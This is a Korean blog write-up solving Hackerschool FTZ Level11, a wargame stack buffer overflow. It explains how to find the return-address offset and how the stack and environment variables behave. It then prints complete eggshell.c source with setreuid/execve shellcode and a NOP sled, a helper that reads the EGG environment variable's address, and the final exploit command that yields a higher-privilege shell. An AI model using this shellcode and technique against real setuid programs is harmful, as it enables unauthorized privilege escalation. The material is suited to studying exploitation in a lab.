Dork's port

FTZ Level11 Write-up(FTZ Level11 풀이) 본문

Hackerschool FTZ Write-up

FTZ Level11 Write-up(FTZ Level11 풀이)

Dork94 2018. 3. 24. 04:20

안녕하세요!


11번입니다! 


이 문제는 풀기는 쉬웠으나, 개념을 이해하는데 참 오래걸린 문제입니다.


따라서 제가 설명하는게 틀릴 수 도 있으므로 틀리다면 말씀부탁드립니다.


우선 늘 그렇듯 힌트부터 볼께요!


이제는 소스코드만 하나 휙 던져주네요.. 알아서 하라는 이야기죠..


보면 이전 문제와는 달리 이번엔 어떠한 문자열을 비교해서  쉘을 실행시켜 주지도 않네요..


점점 불친절...


그러나 파일을보면 아무 조건없이 setreuid를 걸어주었으니 그것만으로도 감사해야 겠네요.


자 그러면 여기서 새로운 개념이 필요합니다!


바로 BOF의 기초가 되는 Return Address를 조작하는 것 인데요!


그것 뿐만아니라 Return Address에 가면 /bin/sh 이 실행되도록 하는게 이번 문제의 숙명입니다.

일단 실행을 시켜보면 소스코드의 로직과 마찬가지로 인자로 넘겨준 문자열을 출력한번 해주고 땡이네요.

그럼 Return Address의 주소를 찾아야하는데 2가지 방법이 있습니다.


1. gdb로 디버깅 하여 스택에 버퍼 + EBP의 크기 만큼의 크기를 계산해서 넣을 문자열을 계산한다.


2.세그멘테이션 오류가 뜰때까지 문자를 넣어본다.



저는 2번을 선호합니다


훨씬 간단하고 정확하거든요. 어느정도는.


세그멘테이션 오류가뜨는 이유에 대해 간단히 설명 드리겠습니다.


문자열을 특정 버퍼에 저장한다는것은 문자열 길이 + 1(\0) 즉, NULL값이 하나 더 추가 됩니다.


예를들어 스택을 보겠습니다!


  #Find Return Address




위와같이 AAA를 입력하다보면 언젠간 EBP 및 RET에 도달 할 것 입니다.


그러면 Segmentation Fault는 언제 일어나게 될까요?


참조가 불가능 한 영역이나 잘못된 참조 시 나타나는 에러입니다.


A를 EBP의 영역까지 채운다고 가정을 해보죠.


이때 원래 RET를 0x42015574라고 가정하겠습니다.


그러면 아래와 같이 스택이 될 것 입니다. 


이때 41은 'A'의 ASCII Code Value입니다.


사진과 같이 EBP에는 A로 가득채워졌고(0x41) RET의 값의 낮은 주소가 74에서 00으로 바뀐 것을 볼 수 있습니다(주소 표기는 리틀엔디안 방식입니다).


문자열의 끝에는 NULL값이 추가 되므로 아래와 같이 Return Address에 00이 추가 되었고 때문에 Segmentation Fault가 나타 날 것 입니다.


함수를 끝내고 RET에 있는 주소를 EIP로 사용하게 되는데 


0x42015500 주소에는 정상적으로 실행될 수 있는 기계어 코드가 없을 확률이 높기 때문이죠.



그래서 Return Address를 찾을때 Segmentation Fault가 나타나는 지점이 Return Address의 시작 주소라는 것을 알 수 있습니다.


EBP만 0x00414141과 같이 바뀌었을때는 코드가 정상적으로 실행이 되는데 그 이유는 저기 스택에 저장되어있는 EBP의 값은 함수가 호출 되기 전 EBP의 값이므로 실제로 해당 스택에서 참조하지 않아 에러가 나지 않습니다.


스택에서의 EBP는 스택프레임 구성시 


mov %esp,%ebp 와 같이 함수의 시작 주소 '값'을 저장하여 사용한다는 것을 명심해야 하며 


Register의 EBP가 스택영역에 있는 EBP의 값을 '참조'하지 않습니다.


헷갈리기 쉬우므로 잘 알아두세요!


Register EBP != Stack EBP



그래서 세그멘테이션 오류를 찾아보면 268번 A를 넣으면 에러가 나타나는 것을 다음과 같이 볼 수 있고 실제 버퍼는 264만큼 잡힌 것을 알 수 있습니다(-4를 한 이유는 EBP의 크기 입니다).



그러면 이제  RET를 /bin/bash가 실행되도록 하는 기계어 코드가 있는 주소로 바꿔주기만 하면 정상적으로 동작하는데 그 역할을 해주는 것이 eggshell입니다.


eggshell 코드에 대한 설명은 내용이 길어지므로 생략하겠습니다.


키포인트는 환경 변수는 프로그램 시작시 스택에 쌓이는 것을 이용하여 해당 주소로 RET주소를 바꿔주는 것 입니다! 


2018/03/24 - [Files] - Linux 환경에서의 메모리 구조


//eggshell.c

#include<stdlib.h>

#define _OFFSET 0
#define _BUFFER_SIZE 512 
#define _EGG_SIZE 2048 
#define NOP 0x90

char shellcode[] ="\x31\xc0"
"\x31\xdb"
"\xb0\x46"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x89\xc2"
"\xb0\x0b"
"\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80";
unsigned long get_esp(){
	__asm__ __volatile__("movl %esp, %eax"); /* esp의 address를 return */
}
int main(int argc, char **argv){
	char *ptr, *egg;
	long *addr_ptr, addr;
	int i;
	int offset = _OFFSET, bsize = _BUFFER_SIZE, eggsize = _EGG_SIZE;
	if(argc > 1) bsize = atoi(argv[1]);
	if(argc > 2) offset = atoi(argv[2]);
	if(argc > 3) eggsize = atoi(argv[3]);
	if(!(egg = malloc(eggsize))){ /* NOP와 쉘 코드를 넣을 버퍼 생성 */ 
		printf("Cannot allocate egg.\n");
		exit(0); 
	}
	addr = get_esp() - offset; /* stack pointer를 얻어 옴 */ 
	printf("esp : %p\n", addr); /* esp 값 출력 */
	ptr = egg;
	for(i=0; i<eggsize - strlen(shellcode) -1 ; i++)
		*(ptr++) = NOP; /* egg를 NOP로 먼저 채우고 */
	for(i=0 ; i<strlen(shellcode) ; i++)
		*(ptr++) = shellcode[i]; /* 남은 공간을 쉘 코드로 채움 */
	egg[eggsize-1] = '\0';
	memcpy(egg, "EGG=",4);
	putenv(egg);
	system("/bin/bash");
	/* EGG라는 환경 변수로 등록 */ /* 환경 변수가 적용된 쉘 실행 */
}

이때 eggshell에 출력되는 주소를 사용하는 것이 아닌 별도의 코드를 작성하여 이용해야 합니다.


이유로는 Eggshell에서 /bin/bash를 했을때 새로운 Shell이 실행 되며 이때 환경변수가 적용됩니다.


putenv의 특징은 다음과 같습니다.


환경 변수 목록 중에 변수값을 수정하거나 추가합니다.

그러나 수정된 변수값이나 새로 추가된 환경 변수값은 실행 중인 프로그램에서만 유효하며 외부적으로는 변경되지 않습니다. , 프로그램의 실행 단위인 애플리케이션 내에서만 유효합니다.


참조 : forum.linux.com




  #왜 같은 프로그램 내에서 만 유효할까?




그 이유는 바로 프로그램 실행시 CRT(C RunTime libray)가 환경변수 포인터 (envp)값을 관리하는 environ List로 복사를 하게 됩니다.


이때, envp를 바꿔도 CRT가 해당 포인터를 list로 복사해주지 않기 때문에 적용이 되지 않습니다.


따라서, putenv는 환경변수를 적용시키기 위해 환경변수 포인터를 이용하는 것이 아닌 environ List에 복사를 하게 되는 것이며 이 List는 프로그램 내에서만 유효하게 되는 것 입니다(CRT가 envp를 이용해 불러들인 저장된 값이 아니기 때문이죠. 환경변수를 추가하려면 export 명령어를 이용하며 envp를 추가 가능합니다).


때문에 environ List가 유효한 프로그램 내에서 eggshell을 실행 시킬 수 밖에 없는 것 이지요! 




※ 저는 "환경변수의 포인터(envp)를 이용해 환경변수를 CRT가 '값'을 가져와 '프로그램'에서 사용(environ)한다." 정도로 이해했습니다.


약간 C에서의 Call by Address와 Call by Value가 생각나는건 왜일까요..


위와 같은 특징 때문에 환경변수를 적용 시키기 위해서 프로그램 내에  /bin/bash를 실행시키는 명령어가 있는 것 이지요.



그래서 아래와 같은 프로세스 관계가 되는 것이고 이때 서로 독립 된 스택을 가지게 되므로 위의 주소를 이용할 수 없습니다.

eggshell ㄴ /bin/sh -c /bin/bash ㄴ /bin/bash


getEggAddr는 프로그램 실행 시 환경 변수가 같다면 Base pointer가 같아지므로 프로그램 실행시 getenv함수를 이용하여 evniron 즉 메인함수의 스택프레임이 할당 되기전 전달되는 환경변수의 값의 주소를 알아서 다음 프로그램 실행 시 해당 환경변수의 주소를 이용하는 것 이지요(다른프로그램을 실행해도 환경 변수가 같으면 같은 basepointer 및 환경변수의 주소를 가질 것 이라는 추측때문입니다).


마찬가지로 getenv함수는 environ에서 함수의 주소를 얻어오는 역할을 합니다.




 
//getEnvAddr.c

#include <stdio.h>

int main()
{
	printf("Addr = %p\n",getenv("EGG"));

	return 0;
}



그래서 해당 프로그램을 이용해 얻은 주소를 Return Address로 사용하면 되겠죠?


그래서 아래와 같이 명령어를 작성해주시면 뭔가 쉘이 달라졌습니다! 이때 권한을 확인해보면 Level12라고 되어있네요!


$ ./attackme $(python -c 'print "A"*268+"\xb0\xf4\xff\xbf"')




그럼 이때 my-pass를 이용해 패스워드를 알아내면 길고 긴 11번이 끝났습니다!



개인적으로 이번문제는 답을 알아내기는 쉬웠지만 공부하기는 힘든 레벨이 었다고 생각합니다.


인터넷에 있는 쉘코드가 왜 쉘코드 하나만으론 정상적인 값이 안나오는지.


환경변수는 어떻게 구성되고 어떻게 불려오는지.


그리고 왜 쉘코드가 저렇게 작성되었는지(/bin/bash를 프로그램내에서 실행) 및 getenv, putenv에 대해서 배울 것이 많은 레벨이었습니다.


원리를 알고싶었는데 이러한 원리를 서술해놓은 곳은 많이 없더라구요.


도움이 되셨으면 좋겠습니다.


그리고 저 때문에 고생하신 luke1337 무한 감사감사^___^


Eggshell git url : https://github.com/JangHanbin/eggshell

Comments